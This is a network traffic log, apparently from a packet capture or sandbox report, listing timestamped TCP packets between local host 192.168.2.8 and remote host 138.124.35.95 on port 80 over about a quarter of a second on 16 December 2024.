Dec 16, 2024 17:02:30.789824963 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789834023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789844036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789849043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789855957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789865971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789869070 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789875984 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789885998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789889097 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789896965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789906979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789911032 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789912939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789917946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789922953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789932966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789943933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789953947 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789953947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789966106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789968967 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.789975882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789987087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789997101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.789997101 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790009022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790019035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790024042 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790030003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790040016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790044069 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790050030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790060997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790060997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790072918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790077925 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790083885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790095091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790096998 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790106058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790117025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.790122986 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790149927 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.790278912 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.803688049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.803740025 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.803798914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.803811073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.803852081 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.804363012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.804393053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.804404974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.804440022 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.804981947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805113077 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.805284977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805296898 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805335999 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.805713892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805948019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805958986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.805984020 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.806386948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.806427956 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.806632042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.806652069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.806742907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.807180882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.807192087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.807204962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.807228088 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.807472944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.807812929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.807848930 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.808069944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.808080912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.808621883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.808633089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.808644056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.808656931 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.808695078 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.809318066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.809562922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.809576035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.809600115 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.809618950 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.810480118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.810528994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.810573101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.810612917 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.811691046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.811794043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.811916113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.811928034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.811980963 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.812807083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.812819958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.812830925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.812865019 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.813507080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.813554049 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.813749075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.813761950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.813795090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.814261913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.814373016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.814383984 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.814418077 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.814909935 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.814943075 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.815116882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.815128088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.815164089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.815768003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.815984964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.815996885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.816028118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.816831112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.816852093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.816864014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.816880941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.816898108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.819364071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.819613934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.819627047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.819933891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.821010113 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.821897984 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.821949005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.821952105 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.822031975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.822063923 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.824852943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.824934959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.824947119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.824999094 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.825397968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.825438976 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.825525999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.825537920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.825578928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.826025963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826091051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826102018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826132059 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.826666117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826706886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.826817036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826828957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.826869011 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.827219009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.827229977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.827240944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.827270031 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.827652931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.827694893 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.863739014 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993309021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993331909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993347883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993359089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993377924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993416071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993427992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993438959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993438005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993449926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993459940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993470907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993472099 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993483067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993489981 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993494034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993498087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993505955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993515968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993516922 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993526936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993537903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993549109 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993557930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993562937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993568897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993578911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993590117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993591070 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993601084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993614912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993617058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993624926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993628979 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993635893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993645906 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993645906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993657112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993665934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993673086 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993678093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993688107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993699074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993700027 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993709087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993717909 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993721008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.993732929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.993767977 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.996731997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.996956110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.996967077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.997000933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.997381926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.997781038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.997791052 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.997829914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.998330116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.998485088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.998815060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.998826027 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.998899937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.999097109 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.999106884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.999139071 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.999532938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.999741077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.999752998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.999790907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.000297070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.000549078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.000559092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.000588894 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.000607014 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.000904083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001240015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001251936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001277924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.001648903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001782894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001794100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.001821041 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.001844883 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.002207994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.002410889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.002423048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.002454996 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.002850056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.002895117 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.002984047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.002995014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.003026962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.003504038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.003737926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.003751993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.003779888 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.004167080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004303932 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.004318953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004331112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004374027 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.004839897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004962921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004973888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.004997015 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.005901098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.005994081 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.006057978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.006071091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.006114960 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.006592035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.006603003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.006614923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.006638050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.007481098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.007493973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.007504940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.007527113 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.007543087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.008023024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008133888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008146048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008188963 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.008832932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008845091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008856058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.008871078 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.008907080 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.009740114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.009840012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.009852886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.009908915 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.010446072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.010457039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.010468006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.010488987 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.010504007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.011133909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.011321068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.011333942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.011365891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.011734962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.011770010 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.011939049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.011950970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.012079000 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.012475967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.012595892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.012608051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.012635946 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.013250113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.013262033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.013274908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.013287067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.013318062 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.013885975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014064074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014075994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014108896 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.014861107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014894009 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.014904022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014918089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.014946938 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.015235901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.015619993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.015733957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.015744925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.015767097 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.015796900 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.016037941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.016442060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.016566038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.016577959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.016608953 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.017174959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.017282963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.017317057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.017482996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.017513037 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.017999887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.018183947 CET	80	49714	138.124.35.95	192.168.2.8
